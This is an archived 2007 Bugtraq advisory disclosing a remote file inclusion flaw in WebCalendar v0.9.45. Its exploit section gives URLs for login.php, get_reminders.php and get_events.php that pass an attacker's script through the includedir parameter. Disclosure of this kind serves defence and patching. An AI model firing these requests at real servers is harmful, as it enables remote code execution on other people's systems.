bugtraq - WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070315194813.13800.qmail@securityfocus.com>
Date: 15 Mar 2007 19:48:13 -0000
From: drackanz@...il.com
To: bugtraq@...urityfocus.com
Subject: WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include

|-------------------------------------------------------------------------------|
|                                                                               |
|  WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include            |
|                                                                               |
|    Script  : WebCalendar                                                      |
|    Version : v0.9.45 (13 Dec 2004)                                            |
|    Authord : Drackanz                                                         |
|    Contact : Drackanz [at] gmail [] com                                       |
|    Vendor  : http://www.k5n.us/webcalendar.php                                |
|-------------------------------------------------------------------------------|
|            Bug in :                                                           |
|                      login.php                                                |
|                     get_reminders.php                                         |
|                      get_events.php                                           |
|-------------------------------------------------------------------------------|
|   EXPLOIT :                                                                   |
|                                                                               |
|   http://localhost/[calendar]/ws/login.php?includedir=[evilscript]            |
|   http://localhost/[calendar]/ws/get_reminders.php?includedir=[evilscript]    |
|   http://localhost/[calendar]/ws/get_events.php?includedir=[evilscript]       |
|-------------------------------------------------------------------------------|
| Greetz : Leo,hardose,s4mi,fucker_net,The Casper,Broken-Proxy,Simo64,          |
|           exe_crack,b0rizq,righterz,dragon,rachidox All Moroccan HackerX;     |
|		                                                                        |
---------------------[ [Mor0ccan ISLAM Defenders Team] ]-------------------------